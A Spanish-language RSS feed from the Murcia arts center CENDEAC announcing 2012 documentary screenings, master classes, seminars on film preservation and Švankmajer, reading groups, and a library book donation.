    Photobook Club Murcia es un proyecto organizado en colaboración con el Cendeac que nace como respuesta al creciente interés por el fotolibro en Murcia. Cada vez son más los aficionados que quieren ver, tocar, oler y, en definitiva, sentir el placer de la fotografía en la página impresa. 

    Creemos que el papel es el medio propio de la fotografía y el libro el lugar más natural para el ensayo fotográfico. Nos gustan los libros, la literatura, el arte, la fotografía pero, sobre todo, nos gustan los fotolibros.

    Por este motivo, queremos reunirnos alrededor de una mesa para compartir nuestros libros, para presentarlos, tocarlos y contar a los demás por qué son tan especiales y qué podemos aprender de ellos. 

     Los requisitos para participar son sencillos: solo tienes que traer unos de tus fotolibros favoritos. Durante la sesión, cada asistente presentará el libro que ha traído, lo pondremos en común y lo comentaremos. Se trata de crear una dinámica fluída, en la que todos aprendamos de todos.

    Se ruega confirmar asistencia mediante el envío de un correo electrónico a: photobookclubmurcia@gmail.com

     

    MÁS INFORMACIÓN

    FacebookBlog

    ]]>
    Fisuras fílmicas. Sergio Oksman. Proyecciónurn:uuid:f436ebf9-8b8d-5ccd-a264-75eaae763dbc2012-11-30T09:10:54Z LA ESTETICIÉN (2004), de SERGIO OKSMAN

     

    Proyección: miércoles, 28 de noviembre / 21.00h / Filmoteca Regional Francisco Rabal

    Sergio Oksman participará en un debate con el público el miércoles 28, tras la proyección en la Filmoteca Regional

     

     

    El doctor Josef R. Menguele, también apodado como El ángel blanco (der weiße Engel), ha pasado a la historia del siglo XX como una de las figuras más sanguinarias de cuantas formaron parte de la maquinaria de la muerte nacional-socialista. En aquel anti-lugar llamado Auschwitz, en el que, como escribiera la filósofa alemana Hannah Arendt, todos los dispositivos técnicos y burocráticos se pusieron en marcha para arrancarle a los retenidos cualquier atisbo de humanidad, Menguele desarrolló dos labores sin duda tenebrosas. Por un lado, fue el encargado de señalar, cuando  los trenes de la muerte llegaban al campo de concentración, quiénes seguían siendo útiles para trabajar y quiénes, por el contrario, debían ser conducidos a las cámaras de gas. Por otro, se convirtió en un investigador conocido por experimentar con personas como cobayas humanas.

    Más de medio siglo después, el director de cine brasileño Sergio Oksman se acerca con su cámara a una mujer de origen húngaro que durante aquellos oscuros años fue víctima del proceso de deshumanización del Läger. Oksman se enfrenta así a un  reto insuperable, inquietante y, hasta cierto punto, absurdo: ¿cómo hablar con una víctima del horror? ¿Cómo acercarse, grabar y retratar a aquellos que han sido sometidos a una degradación máxima? ¿Son las víctimas capaces de dar testimonio de lo que han vivido? ¿Tiene sentido el concepto de víctima cuando cada experiencia de vida tiene un relato propio? 

    A lo largo de noventa y seis minutos, Sergio Oksman tratará de dar respuesta a estos y muchos otros interrogantes sin dejar de asumir que su lugar como director es ya, en sí mismo, sumamente problemático. La esteticién es, por eso, un intento de deconstrucción fílmica en el que se aborda tanto la memoria personal de una superviviente como el problema del cine entendido como documento histórico.

    GUÍA DE LECTURA (en la que podéis encontrar material adicional para el taller)

    ]]>
    Fisuras fílmicas. Sergio Oksman. Clase magistralurn:uuid:ff1c8d20-3769-5efe-96e4-89c6c1685fb32012-11-30T09:10:49ZConferencias  

    LA ESTETICIÉN (2004), de SERGIO OKSMAN

    Clase magistral: jueves, 28 de noviembre  / 19.30h / Cendeac (entrada gratuita)

     

    Sergio Oksman nació en Brasil, en 1970. Estudió Periodismo en São Paulo y Cine en Nueva York. Actualmente, vive en Madrid, donde dirige la productora Dok Films e imparte clases en la Escuela de Cine y Televisión (ECAM). Entre su filmografía destaca, además de La esteticién (2004), Goodbay, America (2006), Notes on the Others (2009) y A Story fot the Modlins (2012).

    ]]>
    D.Nuevo Ensayo. Encuentros con jóvenes ensayistas. Marisol Salanovaurn:uuid:ceb5291e-4f5a-588e-87aa-9d4740769c962012-11-06T14:37:33ZConferencias ENCUENTRO: miércoles, 31 de octubre de 2012

    17.15-19.00h. Conferencias de Remedios Zafra («Arte y cuerpo, ¿qué importan?») y Eloy Fernández Porta («El misterioso caso de la Dra. Postporno y Mr. Heterogañán»)
    19.15-21.00h. Conferencia de Marisol Salanova y mesa de debate 

    Salón de Grados de la Facultad de Derecho, Campus de la Merced  

    GRUPO DE LECTURA:

    1ª sesión: 8 de octubre, 20.00h. Presentación
    2ª sesión: 25 de octubre, 19.00h. Debate

    Biblioteca del CENDEAC

     

    La tercera edición del proyecto D. Nuevo Ensayo, organizado por CENDEAC y ASEFI (Asociación de Estudiantes de Filosofía de la Región de Murcia), consistirá en la presentación, análisis y debate del ensayo Postpornografía (Pictografía y sigueleyendo, 2012), de la joven valenciana Marisol Salanova. En él la autora realiza una revisión genealógica y conceptual sobre algunas de las cuestiones más relevantes de la reflexión artística de las últimas décadas relacionadas con el postporno. Los problemas abiertos por las teorías feministas, queer o transgénero son revisados tanto en su fase inicial como en sus derivas contemporáneas.

    Como es habitual en el contexto de este proyecto, Marisol Salanova estará acompañada por dos de sus referentes intelectuales, a los que ella misma ha designado: Remedios Zafra y Eloy Fernández Porta. Entre los tres, los miembros del grupo de lectura y los asistentes al encuentro, debatirán sobre la relevancia social, política y estética de estas cuestiones.

    © Ana Portnoy

     

    Marisol Salanova (Valencia, 1982) codirige la editorial Micromegas, es filósofa, crítica de arte y comisaria independiente especializada en performance art, género y nuevas tecnologías. Ha impartido talleres didácticos y seminarios en las universidades de Oxford y Brighton, así como en el Instituto Valenciano de Arte Moderno (IVAM). Actualmente se doctora en Bellas Artes en la Universidad de Murcia con la tesis «El cuerpo abyecto en la performance extrema». Es miembro del grupo de investigación «Conocimientos y Estéticas Decoloniales» de Matadero Madrid en colaboración con el Centro de Estudios Poscoloniales de Goldsmiths en la Universidad de Londres.
     
    Remedios Zafra (Zuheros, Córdoba, España, 1973) es escritora, profesora de Arte e Innovación en la Universidad de Sevilla y de Políticas de la Mirada en la Universidad Carlos III de Madrid y directora de X0y1 –plataforma para la investigación sobre identidad y cultura de redes–. Entre sus ensayos más recientes destacan Netianas. N(h)acer mujer en Internet y Un cuarto propio conectado. (Ciber)espacio y (auto)gestión del yo.

    Eloy Fernández Porta (Barcelona, 1974) ha publicado los libros de relatos Los minutos de la basura y Caras B, la antología Golpes (con Vicente Muñoz Álvarez) y los libros de crítica cultural Afterpop, Homo Sampler y €®O$, este último escogido como el ensayo más renovador del año por la web Notodo y Premio Anagrama. Traducido al inglés, francés y portugués, «ha inventado una forma de pensar que impresiona por su libertad y mordacidad» (Nils C. Ahl, Le Monde). Su libro Emociónese así (Anagrama, 2012) es un proyecto de expansión del campo de la teoría que incluye la performance Rulers of Your Feelings y diversas colaboraciones con artistas.

     

    MÁS INFORMACIÓN:

    GUÍA DE LECTURA

    Sobre Marisol Salanova
    Blog: Filosofía del postporno
    Facebook: Transfeminismo

    Sobre el grupo de lectura
    Facebook:  D.Nuevo Ensayo
    Sesiones:
    1ª sesión: 8 de octubre, 20.00h. Presentación
     2ª sesión: 25 de octubre, 19.00h. Debate

    ]]>
    Grupo de trabajo CIUDAD Y CIUDADANÍAurn:uuid:219d2d13-e315-5420-a776-1b6772cdaad32012-10-15T11:39:25ZGrupo de Trabajo  

    18 de abril, a las 18h30, CENDEAC

    Reunión del grupo de trabajo CIUDAD Y CIUDADANÍA

    Podéis seguir la actividad del grupo de trabajo en su site, a través de su perfil facebook o asistiendo a algunas de las reuniones directamente (cada dos semanas en la biblioteca del CENDEAC, consultar el calendario)

    Si quieres saber más sobre los grupos de trabajo que ya están en marcha, o quieres hablar con alguien antes de acercarte a una de las sesiones, puedes llamar al CENDEAC durante nuestro horario de oficina o escribir a comunicacion@cendeac.net

    ]]>
    Grupo de trabajo CIUDAD Y CIUDADANÍAurn:uuid:a67f9558-043a-5105-940b-4aab365d90fd2012-10-15T11:37:52ZGrupo de Trabajo  


    16 de mayo, a las 18h30, CENDEAC

    Reunión del grupo de trabajo CIUDAD Y CIUDADANÍA

    Podéis seguir la actividad del grupo de trabajo en su site, a través de su perfil facebook o asistiendo a algunas de las reuniones directamente (cada dos semanas en la biblioteca del CENDEAC, consultar el calendario)

    Si quieres saber más sobre los grupos de trabajo que ya están en marcha, o quieres hablar con alguien antes de acercarte a una de las sesiones, puedes llamar al CENDEAC durante nuestro horario de oficina o escribir a comunicacion@cendeac.net

    ]]>
    Grupo de trabajo CIUDAD Y CIUDADANÍAurn:uuid:50793d6f-7374-53f5-8a04-b716f5d1315d2012-10-15T11:35:10ZGrupo de Trabajo 6 de junio, a las 18h30, CENDEAC

    Reunión del grupo de trabajo CIUDAD Y CIUDADANÍA

    Podéis seguir la actividad del grupo de trabajo en su site, a través de su perfil facebook o asistiendo a algunas de las reuniones directamente (cada dos semanas en la biblioteca del CENDEAC, consultar el calendario)

    Si quieres saber más sobre los grupos de trabajo que ya están en marcha, o quieres hablar con alguien antes de acercarte a una de las sesiones, puedes llamar al CENDEAC durante nuestro horario de oficina o escribir a comunicacion@cendeac.net

    ]]>
    Grupo de trabajo CIUDAD Y CIUDADANÍAurn:uuid:73c4dbad-86d7-55b2-8736-36d912e01a442012-10-15T11:35:04ZGrupo de Trabajo 27 de junio, a las 19h, CENDEAC

    Reunión del grupo de trabajo CIUDAD Y CIUDADANÍA

    Podéis seguir la actividad del grupo de trabajo en su site, a través de su perfil facebook o asistiendo a algunas de las reuniones directamente (cada dos semanas en la biblioteca del CENDEAC, consultar el calendario)

    Si quieres saber más sobre los grupos de trabajo que ya están en marcha, o quieres hablar con alguien antes de acercarte a una de las sesiones, puedes llamar al CENDEAC durante nuestro horario de oficina o escribir a comunicacion@cendeac.net

    ]]>
    Fisuras fílmicas. Jorge Caballero. Proyecciónurn:uuid:38b3e6f7-1aec-5bc3-b0ea-ced53103587c2012-10-15T11:34:50Z NACER. DIARIO DE MATERNIDAD (2012 / Work in progress) y BAGATELA (2008, 74min) de Jorge Caballero

    Clase magistral: miércoles, 27 de junio / 19h / CENDEAC (entrada gratuita)

    Proyección: jueves, 28 de junio / Filmoteca Regional Francisco Rabal:

    20h. Nacer. Diario de maternidad (2012 / Work in progress)

    22h.30 Bagatela (2008, 74 min)

    Jorge Caballero participará en un debate con el público el jueves 28, tras la primera proyección en la Filmoteca Regional

    .

    Con motivo de esta última sesión antes del verano estará en Murcia el premiado director de cine colombiano Jorge Caballero, quien proyectará su largometraje Bagatela (2008), así como una primera versión de su próximo trabajo documental: Nacer. Diario de maternidad.

    La propuesta cinematográfica de Jorge Caballero se caracteriza por asumir un estilo sobrio y de observación para abordar los dilemas y conflictos más complejos de nuestras sociedades contemporáneas. En Bagatela, su primer largometraje, Caballero analiza los problemas que se derivan de los pequeños delitos cometidos en su ciudad natal, Bogotá. La relación entre los abogados de oficio y sus clientes, el vínculo entre pobreza y delincuencia, y el modo en que la ley es cada vez menos algo que tenga que ver con la justicia, son algunos de los aspectos que aborda esta sobrecogedora película. Se trata de un trabajo en el que el imperio de la norma jurídica termina por convertirse en un kafkiano delirio burocrático capaz de destruir a aquellos que, en último término, son las verdaderas víctimas de la sociedad: los desposeídos.

    En Nacer. Diario de maternidad (work in progress) Caballero se acerca a otra institución social altamente regulativa: el área de maternidad de un gran hospital en Bogotá. En esta película, el director colombiano recoge, con un estilo neutro y un posicionamiento visual aparentemente no implicado, el modo en que la llegada al mundo es hoy, más que nunca, un dilema social de primer orden. Los diferentes entornos socioeconómicos de las madres embarazadas, su soledad, su ilusión o su angustia se reflejan al mismo tiempo que la maquinaria burocrática de la medicina oficial lleva a cabo sus procesos estandarizados. Así, el resplandor de la vida queda atravesado en esta película por el terrible dolor existencial de la maquinaria bio-política, la economía liberal y la desigualdad cultural.

     

     

     

    GUÍA DE LECTURA en la que podeis encontrar material adicional para la clase magistral.

    Para más información:

    - NACER http://www.nacerdocumental.com/ 

    - BAGATELA http://www.bagatela.tv/index.php?p=festivales

    - LA PARADOJA DE ARROW http://www.gusano.org/laparadoja/

    ]]>
    Grupo de trabajo CIUDAD Y CIUDADANÍAurn:uuid:624afc18-6e31-5aa2-aafd-1f380792cd012012-10-15T11:34:42ZGrupo de Trabajo  

    12 de septiembre, a las 19h, CENDEAC

    Reunión del grupo de trabajo CIUDAD Y CIUDADANÍA

    Podéis seguir la actividad del grupo de trabajo en su site, a través de su perfil facebook o asistiendo a algunas de las reuniones directamente (cada dos semanas en la biblioteca del CENDEAC, consultar el calendario).

    Si quieres saber más sobre los grupos de trabajo que ya están en marcha, o quieres hablar con alguien antes de acercarte a una de las sesiones, puedes llamar al CENDEAC durante nuestro horario de oficina o escribir a comunicacion@cendeac.net

    ]]>
    Fisuras fílmicas. Teresa Arredondo. Proyecciónurn:uuid:df93789e-e20f-5c56-b480-bb8d8d6f9ac92012-10-15T11:34:04Z  

    SIBILA (2012), de Teresa Arredondo

     

    Proyección: miércoles, 26 de septiembre / 21.00h / Filmoteca Regional Francisco Rabal

    Teresa Arredondo participará en un debate con el público el miércoles 26, tras la proyección en la Filmoteca Regional

    Clase magistral: jueves, 27 de septiembre / 19.30h / Cendeac (entrada gratuita)

     

    «Recuerdo la noche en que la historia de mi familia cambió. Llamaron desde Perú para avisar que mi tía, Sibila, estaba presa acusada de ser miembro de Sendero Luminoso. Yo tenía 7 años y el silencio protector de mis padres ayudó a que su figura se convirtiera en un gran misterio en mi vida. Su encierro duró 15 años. Hoy está libre y quiero acercarme a ella, escucharla, entender».

    Con estas palabras se inicia un documental cinematográfico en el que su directora y coprotagonista, la peruana Teresa Arredondo, trata de comprender la complejidad poli-estratificada de la historia reciente de su país. ¿Cuál es, y cuál ha sido, el papel de la lucha armada en el desarrollo social e histórico de Latinoamérica, en general, y de Perú, en particular, a lo largo de las últimas décadas? ¿Cómo afectaron los procesos revolucionarios a las familias y amigos de aquellos que fueron actores en dicho conflicto? ¿Es la violencia siempre lo que los medios de comunicación señalan? ¿O bien existen otros tipos de violencia: la llamada violencia estructural o sistémica? En SIBILIA, película premiada en diferentes festivales de todo el mundo, la directora rastrea la memoria de su propia familia para dar respuestas a algunos de estos interrogantes. Arredondo se acerca a su tía con el deseo de comprender y confrontar las lógicas de fondo que motivaron la lucha de Sendero Luminoso, así como para mostrar las caras múltiples que tiene siempre cada vida singular. 

    SIBILA es un viaje que construye el presente mirando el pasado. Es también el encuentro entre dos generaciones que buscan dialogar.

    Teresa Arredondo nace en Lima (Perú), en 1978 y en 1984 se traslada con su familia  a Santiago de Chile. En el 2006, después de trabajar durante un tiempo como psicóloga, viaja a España para estudiar el Máster en teoría y práctica del Documental Creativo de la Universidad Autónoma de Barcelona, donde realiza su primer cortometraje documental, in crescendo, producido por la Universidad y la Televisió de Catalunya.

    Días con Matilde (2011), su segundo cortometraje, ha sido seleccionado y premiado en varios festivales, ente los que destacan el Festival Internacional del Nuevo Cine Latinoamericano de La Habana y el Festival Internacional de Cine Independiente Cine//B_4 (en donde obtuvo el premio al Mejor Cortometraje Nacional).

    SIBILA (2012), su primer largometraje, obtuvo el premio a la mejor película en la sección de Derechos Humanos del BAFICI (Argentina), en 2012, el premio a la mejor película en la sección nacional del FIDOCS (Chile) , en 2012, y una Mención Especial en el Festival de Cine de Málaga este mismo año.

     

    GUÍA DE LECTURA en la que podéis encontrar material adicional para la clase magistral.

    Para más información: http://www.sibiladocumental.com/

    ]]>
    SEMINARIO BILL BRANDurn:uuid:75908342-8a30-511e-a81c-b6b67b835c032012-10-15T11:33:56ZSeminarios  

    CONSERVACIÓN DE PELÍCULAS Y VÍDEOS PARA ARTISTAS Y ARCHIVOS FAMILIARES

    En el contexto del proyecto Memorias celuloides, organizado entre Cendeac y Medusa Mediación, los próximos días 9, 10 y 11 de octubre, el reconocido profesor/director de cine norteamericano Bill Brand (Nueva York, 1949) impartirá un seminario en el Cendeac. Este seminario tendrá un carácter teórico-práctico y estará orientado tanto al análisis de su propia producción cinematográfica, como a la conservación y archivo de material fílmico, una labor a la que ha dedicado gran atención a lo largo de toda su trayectoria.

     

    ESTRUCTURA DEL SEMINARIO

    Martes, 9 de octubre / 18.30-21.00h

    Proyección, análisis y debate en torno a las películas realizadas por Bill Brand desde los años setenta hasta la actualidad. En esta primera jornada, el profesor Brand proyectará sus películas y las analizará en base a los intereses puntuales que le han acompañado en cada momento de su trayectoria. 

    (Entrada gratuita y libre hasta completar aforo).

     

    Miércoles, 10 de octubre / 18.00-21.00h 

    En esta segunda sesión se realizará una aproximación al ámbito de la conservación fílmica y sus diferentes procesos. Del mismo modo, Bill Brand describirá algunas de sus experiencias concretas en la tarea de conservar películas caseras y películas de artistas en diferentes países del mundo. Explicará, paso a paso, cómo conservar y archivar películas y vídeos cuando se cuenta con poco tiempo, unos recursos limitados y escasos medios. Esta sesión será especialmente atractiva para artistas, estudiantes y profesionales que estén interesados en el ámbito de la conservación y archivo cinematográfico, así como para aquellos que se dediquen al mantenimiento de colecciones de cine y vídeo. 

    (Debido al carácter eminentemente teórico-práctico de esta sesión, se exigirá estar matriculado).

     

    Jueves, 11 de octubre / 18.00-21.00h

    Se invitará a los participantes a presentar sus propios proyectos y/o colecciones personales. Se trabajará de manera práctica sobre el proceso de conservación y archivo de películas. También se debatirá acerca de las ideas, experiencias e intereses que conducen a la utilización de archivos fílmicos, películas caseras y archivos personales en la realización de obras de arte en cine, vídeo, performance e instalación. 

    (Como en la jornada anterior, para participar en esta sesión se exigirá estar matriculado).

     

    BIOGRAFÍA BILL BRAND

    Como propietario y operador de BB Optics desde 1976, Bill Brand se ha especializado en la impresión óptica y en la conservación de películas artísticas y de pequeño formato (8mm, Super 8mm, 16mm, etc.). Sus propias películas, vídeos e instalaciones se han expuesto en numerosos museos de los Estados Unidos y el resto del mundo, así como en festivales y microcines. Su Masstransiscope, realizado en 1980, un mural animado instalado en el metro de Nueva York, se encuentra en la colección permanente del MTA Arts for Transit. Bill Brand vive en Nueva York y es catedrático de Cine y Fotografía en el Hampshire College de Amherst (Massachusetts), así como profesor adjunto en el área de Conservación fílmica en el programa Archivo y Conservación de la imagen-movimiento de la Universidad de Nueva York. En 2006 fue nombrado miembro honorifico en el Anthology Film Archive, donde se le dedicó una retrospectiva de un mes de duración para celebrar el 30 aniversario de BB Optics.

    GUÍA DE LECTURA

     

    INFORMACIÓN IMPORTANTE

    La entrada a la primera sesión será gratuita hasta completar aforo. 

    Dado el el carácter teórico-práctico de las sesiones dos y tres, la asistencia estará limitada a 15 personas. 

    El coste de las sesiones dos y tres será de 20 euros (precio reducido para estudiantes, jubilados y desempleados: 10 euros).

    Para matricularse será necesario enviar un breve CV así como una carta de motivación a inscripciones@cendeac.net, indicando en el asunto: BILL BRAND.

    Por la participación en este seminario los alumnos de la Universidad de Murcia podrán obtener créditos académicos. 

    Para la obtención de un certificado de asistencia es imprescindible:

    - Haber participado en los tres días del seminario.

    - Haber abonado el importe del seminario al inicio del mismo en las oficinas del Cendeac.

    En caso de necesitar información adicional sobre alojamientos cerca del Cendeac, contactar con inscripciones@cendeac.net 

    ]]>
    Fisuras fílmicas. Teresa Arredondo. Clase magistralurn:uuid:2bc96e2f-66a3-59bc-a450-64d0bf1a5a092012-10-15T11:33:10ZConferencias Clase magistral con Teresa Arredondo: jueves, 27 de septiembre / 19.30h / Cendeac (entrada gratuita)

    © agenciauno

    Teresa Arredondo impartirá una clase magistral sobre su metodología de trabajo, sus intereses culturales y el proceso de creación cinematográfico.

    GUÍA DE LECTURA en la que podéis encontrar material adicional para la clase magistral.

    Para más información: http://www.sibiladocumental.com/

    ]]>
    Fisuras fílmicas. Nicolás Rincón Gille. Proyecciónurn:uuid:ef09c0a0-320b-56cf-b523-6f7a551928ef2012-10-15T11:16:30Z EN LO ESCONDIDO, de Nicolás Ricón Gille

     

    Proyección: lunes, 22 de octubre / 21.00h / Filmoteca Regional Francisco Rabal

    Nicolás Rincón participará en un debate con el público el lunes 22, tras la proyección en la Filmoteca Regional.

     

    «En el campo colombiano, la noche está poblada de todo tipo de seres. Cuando no se ve nada, todo se escucha: la visita de las brujas, los ruidos de las bestias y los golpes en las puertas. Para seguir viviendo, Carmen ha tenido que enfrentarlo todo».

    En lo escondido ha sido seleccionada en la X Muestra International Documental de Bogotá (Colombia) y ha participado en diversos festivales entre los que destacan: Festival Cinéma du Réel-Prix Joris Ivens et Prix des Bibliothèques (Francia); Festival Cinéma d’Amérique Latine, Toulouse (Francia); Rencontre Internationale du Documentaire de Montreal (Canadá); Cycle Itinéraires Cinéma d’Amérique Latine à Bruxelles (Bélgica); Exile Films Festival, Goteborg (Suecia); Traces de Vie, Clermont Ferrand (Francia); Rencontres documentaires de Guadeloupe
(Martinica); Festival Film Dokumenter Jogjakarta (Indonesia); Prix Henri Storck (Bélgica) y Festival du Cinéma Espagnol et d’Amérique
Latine, Bruxelles (Bélgica).


    En lo Escondido (2007, st. français) de Nicolas... por losabrazosderlio

     

    Para más información: www.campohablado.com

    ]]>
    Fisuras fílmicas. Nicolás Rincón Gille. Clase magistralurn:uuid:89336f8d-4ee4-5bc8-9f2d-e9d0b44a81262012-10-15T11:15:49ZConferencias EN LO ESCONDIDO, de NICOLÁS RINCÓN GILLE

    Clase magistral: martes, 23 de octubre / 19.30h / Cendeac (entrada gratuita)

    Nicolás Rincón Gille nace en Bogotá (Colombia), el 12 de agosto de 1973. Después de estudiar Económicas en la Universidad Nacional de Colombia, viaja al sur del país para desarrollar un encuentro indígena del CRIC (Corporación Indígena del Cauca); allí conoce a Marta Rodríguez. Siguiendo los consejos de esta reconocida documentalista decide dedicarse a la que siempre ha sido su gran pasión: el cine. Es entonces cuando se traslada a Bélgica con el propósito de estudiar en la escuela pública INSAS. Termina sus estudios en este centro en 2003.

    Nicolás Rincón también tiene la nacionalidad belga, como su madre, cuestión que le llevó a trabajar sobre el tema de la inmigración en sus primeros trabajos: País, un corto de ficción sobre un republicano español, y Azur, un corto argumental sobre un inmigrante marroquí.

    Su proyecto más ambicioso, Campo hablado, es una trilogía cinematográfica en la que el cineasta aborda la relación entre la tradición oral en su país y la violencia en el campo colombiano. En lo escondido es la primera parte de esta trilogía.

    ]]>
    Fisuras fílmicas. Jorge Caballero. Clase magistralurn:uuid:40e2f171-77ef-51c7-9cfa-31568274495a2012-06-25T09:32:44ZConferencias Clase magistral con Jorge Caballero: miércoles, 27 de junio / 19h / CENDEAC

    Jorge Caballero impartirá una clase magistral sobre su metodología de trabajo, sus intereses culturales y el proceso de creación cinematográfico.

     

     

    GUÍA DE LECTURA (en la que podeis encontrar material adicional para la clase magistral) (En breve)

    Para más información:

    - NACER http://www.nacerdocumental.com/ 

    - BAGATELA http://www.bagatela.tv/index.php?p=festivales

    - LA PARADOJA DE ARROW http://www.gusano.org/laparadoja/

    ]]>
    Fisuras fílmicas. Óscar Pérez. Proyecciónurn:uuid:11985600-406a-5eb4-b494-bdf30747aa842012-06-12T12:32:13Z Proyección: 25 de abril, 20 y 22h.30. Filmoteca Regional Francisco Rabal.

    Óscar Pérez, director de las películas, estará presente para introducir la película y animar un coloquio con el público posterior a la proyección .

    (Clase magistral con  Oscar Pérez :  jueves, 26 de abril, 19h.30, CENDEAC)


    SALVE MELILLA (2006, 52min)

    En Melilla, la Semana Santa se celebra con la misma entrega y esplendor que en cualquier otra ciudad española, aun cuando Melilla, antigua colonia, se encuentra en suelo africano. Cruz de Guía, el programa de la televisión de Melilla que retransmite en directo las procesiones de la Semana Santa de la ciudad, se convierte en un acontecimiento  religioso, político y social; y todo ello gracias a un hombre: Carlos Rubiales. A través de largos y contundentes monólogos, Rubiales emociona y conmociona; sienta cátedra y arremete contra los impíos. El frío, la lluvia, el cansancio y la incomprensión, no son suficientes para detener esta particular cruzada de un hombre solo –el ritual de una mecánica cultural entre lo televisivo y lo religioso. Salve Melilla muestra las fuertes tensiones y contradicciones que afectan, en pleno siglo XXI, a un tradicionalismo apoyado en el catolicismo, la hispanidad y una evidente presencia militar en una ciudad fronteriza.

    EL SASTRE (2007, 32min)

    Mohamed, un sastre paquistaní, y Singh, su ayudante indio, trabajan juntos en una tienda de 8m2 en el corazón del Raval de Barcelona, uno de los barrios más pobres de la ciudad. Mohamed tiene muy mal carácter y la única cosa que le preocupa es la marcha de su negocio y poder cumplir con sus preceptos religiosos. Singh es un inmigrante indio de 50 años recién llegado a España que trabaja de forma ilegal por una suma miserable de dinero. Debido a la falta de espacio y a una desastrosa organización, Mohamed siempre entrega sus encargos tarde y mal, y eso le crea los más increíbles enfrentamientos con todos y cada uno de sus clientes. Pantalones, faldas y chaquetas se amontonan indistintamente formando una enorme montaña de bolsas de plástico y tejidos multicolores en el fondo de la pequeña tienda. El día a día en la sastrería es duro y difícil y la relación entre Mohamed y Singh se va deteriorando hasta hacerse insoportable. Paradójicamente, en un espacio tan reducido, la soledad y el aislamiento parece ser el único destino para ambos, en un país extraño.

     

     

    GUÍA DE LECTURA (en la que podeis encontrar material adicional para la clase magistral)

    Para más información:

    Blogs&docs:

    - Entrevista a Óscar Pérez

    - Reseñas de Salve Melilla y El sastre

    ]]>
    SEMINARIO JAN ŠVANKMAJERurn:uuid:b9493b7d-3080-5e34-b7dc-bd236f30b0b92012-05-31T12:46:30ZSeminarios SEMINARIO: LA ACTUALIDAD DEL SURREALISMO EN LA OBRA DE JAN SVANKMAJER

    Jueves, 31 de Mayo de 2012. 18h. Esp. 5, CENDEAC. Entrada gratuita

    Conferenciantes:

    - Eugenio Castro, miembro del grupo surrealista de Madrid, escritor y traductor del libro Para ver, cierra los ojos (Ed. Pepitas de Calabaza)

    Jan Svankmajer. Una falla negra en el espejo de la actualidad

    - Jesús Palacios, escritor y crítico de cine, ha participado en las dos publicaciones en castellano sobre el cineasta

    Alquimia de sombras: el cine de Jan Svankmajer

    - Isabel Castells, directora del aula de literatura de la Universidad de La Laguna

    Svankmajer y el surrealismo, sobreviviendo a la vida

           


    El seminario tiene como propósito realizar una aproximación al imaginario y la obra de un director en la que se aúnan sueño, fantasía y transgresión. Así vanguardia y pensamiento crítico se darán cita en este encuentro que tiene como objetivo profundizar en la siguiente pregunta: ¿sigue siendo el surrealismo una apuesta artística capaz de hacer frente a los problemas de nuestro tiempo? El seminario permitirá a los amantes del arte y del cine profundizar en la importancia y actualidad de la lógica creadora de este arte de vanguardia a través de uno de sus representantes más emblemáticos.

    Os recordamos que el seminario podrá seguirse en directo a través de nuestro canal USTREAM.


    Video streaming by Ustream

     

    Para más información:

    GUÍA DE LECTURA (en la que podeis encontrar material adicional sobre el trabajo de Svankmajer y de los ponentes)

     

         

    Jan Svankmajer (Praga, 1934) es uno de los cineastas checos más relevantes de la actualidad y, sin ninguna duda, uno de los grandes referentes de la apuesta surrealista contemporánea. Desde sus inicios en el campo del cine durante los años sesenta, sus trabajos han buscado desestabilizar gran parte de los presupuestos que articulan nuestra aproximación al mundo. En ese sentido, él mismo ha destacado que su propuesta artística aspira, por encima de todo, a interferir en el modo en que la realidad, con su dimensión de poder naturalizado, se nos propone y se nos impone. Recurriendo a efectos de distorsión sonora o a juegos de animación heterogéneos, Svankmajer procura romper las coordenadas del mundo tal y como nos vienen dadas, esto es, anhela generar un cierto espacio de liberación subjetiva (ética y política). “Yo planteo -señala él mismo- nuevos interrogantes sobre cuestiones como la libertad o el erotismo, ofreciendo una alternativa a la ideología oficial de las sociedades modernas. Trato de devolver al arte, que se ha transformado en algo meramente figurativo, estético y comercial, a su status primigenio de ritual mágico. Por eso me considero surrealista. Si el arte tiene alguna finalidad, esa es la de liberar tanto al artista como al espectador. Y si no los libera, entonces se convierte en una mercancía o en un juego estético”.


    Este seminario se enmarca en el Festival Venagua XXI: Arte y Conciencia (Asociación Columbares)

    + información:
    http://columbares.org/venagua/index.html
    http://venagua.blogspot.com.es/

     

    Organizado por Asociación ColumbaresCENDEACFilmoteca Regional Francisco RabalVenagua XXI Arte y Conciencia, y Centro Checo.

    ]]>
    TODA LA EDITORIAL ARENA LIBROS AHORA EN EL CENDEACurn:uuid:14c644af-3b56-5c67-b1a7-46ae2a699c502012-05-28T10:49:50ZNoticias Esta semana se ha producido una de las donaciones de libros más importantes de cuantas han tenido lugar en el CENDEAC a lo largo de los últimos años. Un ejemplar de todos y cada uno de los títulos de la prestigiosa editorial independiente Arena libros pasaron a formar parte de la biblioteca del Centro.

         

    Desde su fundación en 1998, Arena libros ha editado casi noventa títulos fundamentales que ahora están disponibles para su lectura y préstamo en la biblioteca del CENDEAC. Autores como Maurice Blanchot, Georges Bataille, Jean-Paul Sartre, Friedrich Nietzsche, Michel Foucault, Gilles Deleuze y tantos otros representantes emblemáticos de la filosofía de los últimos dos siglos, forman parte de esta donación que resultará especialmente interesante para aquellos profesores, investigadores y estudiantes que estén interesados en el pensamiento crítico.

    Además de haber dedicado una atención especial al pensamiento francés del último siglo, la editorial cuenta entre los autores editados con pensadores españoles como Eugenio Trías, Fernando Ojea o Ricardo Tejada, así como con títulos clásicos de especial relevancia, como es el caso de Las purificaciones. Un proyecto de paz universal del pensador presocrático Empédocles.

    La donación ha sido realizada por Isidro Herrera, director de la editorial, que tras participar el pasado mes de octubre en el Seminario "Humanismo y Animalismo", quiso agradecer con este gesto el buen desarrollo del mismo y los esfuerzos que el CENDEAC está realizando para mantener una actividad consistente e interesante en estos tiempos tan complicados.
     

    ]]>
    Grupo de trabajo CIUDAD Y CIUDADANÍAurn:uuid:71ea853f-bdd3-53a9-acbc-b2904babd4182012-05-21T14:38:16ZGrupo de Trabajo 30 de mayo, a las 18h30, CENDEAC

    Reunión del grupo de trabajo CIUDAD Y CIUDADANÍA

    Podéis seguir la actividad del grupo de trabajo en su site, a través de su perfil facebook o asistiendo a algunas de las reuniones directamente (cada dos semanas en la biblioteca del CENDEAC, consultar el calendario)

    Si quieres saber más sobre los grupos de trabajo que ya están en marcha, o quieres hablar con alguien antes de acercarte a una de las sesiones, puedes llamar al CENDEAC durante nuestro horario de oficina o escribir a comunicacion@cendeac.net

    ]]>
